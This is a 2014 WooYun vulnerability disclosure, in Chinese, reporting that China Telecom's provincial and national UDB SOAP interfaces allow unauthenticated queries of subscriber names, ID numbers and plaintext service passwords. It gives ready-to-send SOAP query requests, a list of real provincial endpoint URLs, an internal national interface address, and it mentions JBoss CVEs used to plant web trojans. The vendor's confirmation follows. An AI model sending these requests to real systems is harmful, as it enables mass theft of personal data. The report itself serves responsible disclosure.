当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066838

漏洞标题:中国电信全国用户数据库接口配置不当允许任意查询(可查全国机主姓名、身份证、明文服务密码等信息)

相关厂商:中国电信

漏洞作者: hacker@sina.cn

提交时间:2014-07-01 12:22

修复时间:2014-08-15 12:24

公开时间:2014-08-15 12:24

漏洞类型:未授权访问/权限绕过

危害等级:低

自评Rank:1

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-01: 细节已通知厂商并且等待厂商处理中
2014-07-06: 厂商已经确认,细节仅向厂商公开
2014-07-16: 细节向核心白帽子及相关领域专家公开
2014-07-26: 细节向普通白帽子公开
2014-08-05: 细节向实习白帽子公开
2014-08-15: 细节向公众公开

简要描述:

献礼七一,爱党爱国!

详细说明:

根据电信UDB规划发展说明,接口共分2套,即 “全国-/-省级”,UDB是实现中国电信统一账号的基础支撑平台。UDB系统将中国电信原有的各个独立的业务应用平台整合成一个庞大的服务平台,该平台以统一账号为中心对用户账号、密码进行集中维护和统一认证。
省级接口基于华为BME系统实施构建,因BME早期版本存在JBoss漏洞:
(CVE 2010-0738)
(CVE 2013-4810)
黑客可以利用漏洞EXP直接打击BME系统,上传网页木马。
通过对这套系统的分析调查,结合《中国电信用户数据库-接口与流程规范 v2.0》
http://wenku.baidu.com/view/b698f316f18583d0496459b3.html,我们可以得知其功能/逻辑为:

UDB向省UDB请求信息.png


UAM统一认证.png


这意味着本省UDB的BME系统只能查询本省机主用户信息,而全国UDB接口则可通过递归查询获取任意省份机主的用户信息。
对于安全保障方面,根据规范描述,应严格做好接口访问调用的限制,但事实上并非如此!

IP验证.png


正是缺失了对查询调用方的IP验证机制,直接导致任意用户都可以通过提交SOAP消息到查询接口,请求BME系统查询机主的帐户信息。
最近测试发现全国的BME系统都升级了,修补了JBOSS漏洞的问题,索性就把漏洞公布出来,希望加强重视,但不排除黑客还有其他通道获取该服务器的权限,或能够访问到全国UDB接口的处于电信核心区域的服务器权限。还是要加强边界防范,增强验证机制。
毕竟这套系统的功能并不仅限于查询信息,所有的用户业务开通、办理、缴续费等都依靠着该系统,一旦接口防范不严导致任意访问,兹事体大。

漏洞证明:

省级接口:
通过漏洞进入BME系统服务器后,获取管理员的帐号密码登录该系统,后台具有帐号查询的功能,可查询本省机主信息,并通过抓包分析,可以找到其直接调用的查询接口,该接口可外部任意用户访问,而无需登录BME或验证IP。

BME查询用户信息.jpg


省级接口查询示例.png


示例后台:
http://bj.passport.189.cn:8080/BME/frameset/login.action
示例接口:
http://bj.passport.189.cn:8080/BME/services/ // 提供的服务列表
http://bj.passport.189.cn:8080/BME/services/UDBCommonSoap
查询实例:

POST /BME/services/UDBCommonSoap HTTP/1.1
Host: bj.passport.189.cn:8080
Content-Type: text/xml; charset=utf-8
Content-Length: 518
SOAPAction: "http://bj.passport.189.cn:8080/AccountInfoQuery"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AccountInfoQuery xmlns="http://bj.passport.189.cn:8080/">
<srcSsDeviceNo>1000000000000001</srcSsDeviceNo>
<querySsDeviceNo>1000000000000001</querySsDeviceNo>
<userID>电话号码</userID>
<queryInfoType>0</queryInfoType>
</AccountInfoQuery>
</soap:Body>
</soap:Envelope>


整理出存在匿名查询问题的省份UDB接口列表:
http://jl.passport.189.cn:8080/BME/services/UDBCommonSoap 吉林
http://ln.passport.189.cn:8080/BME/services/UDBCommonSoap 辽宁
http://hb.passport.189.cn:8080/BME/services/UDBCommonSoap 湖北
http://jx.passport.189.cn:18080/BME/services/UDBCommonSoap 江西
http://js.passport.189.cn:18080/BME/services/UDBCommonSoap 江苏
http://sd.passport.189.cn:8080/BME/services/UDBCommonSoap 山东
http://bj.passport.189.cn:8080/BME/services/UDBCommonSoap 北京
全国接口:
可以从任意省份BME系统中获取到全国-省级UDB查询接口,此接口服务器位于电信大内网中,无法从外部访问,任意省份BME服务器均可访问,如果有一个省沦陷,意味着黑客就可以掌控全国UDB的查询权限。

QQ20130613-9.png


.png


全国UDB接口内网地址(各省passport.189.cn服务器均可访问):
http://10.235.198.60:8810/UDBCommon/UDBCommon.asmx?WSDL
http://10.235.198.60:8810/UDBCommon/UDBCommon.asmx?op=RegisterQueryInfo
http://10.235.198.60:8810/ProvinceNational/ProvinceNational.asmx?WSDL
查询实例:

POST /UDBCommon/UDBCommon.asmx HTTP/1.1
Host: 10.235.198.60:8810
Content-Type: text/xml; charset=utf-8
Content-Length: 547
SOAPAction: "http://udb.chinatelecom.com/AccountInfoQuery"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AccountInfoQueryRequest xmlns="http://udb.chinatelecom.com">
<SrcSsDeviceNo>3500000000000001</SrcSsDeviceNo>
<QuerySsDeviceNo>3500000000000001</QuerySsDeviceNo>
<UserID>电话号码</UserID>
<QueryInfoType>0</QueryInfoType>
</AccountInfoQueryRequest>
</soap:Body>
</soap:Envelope>


修复方案:

1.自己写的东西就应该按照其去实施,别不当回事,说得总比做的好
2.实时关注产品组件的漏洞披露及补丁发布情况

版权声明:转载请注明来源 hacker@sina.cn@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-06 10:51

厂商回复:

CNVD确认并在某个省份复现所述情况,其余省份已经同步转由分中心确认,已经转由CNCERT直接通报给中国电信集团公司处置。按信息泄露风险评分,rank 20

最新状态:

暂无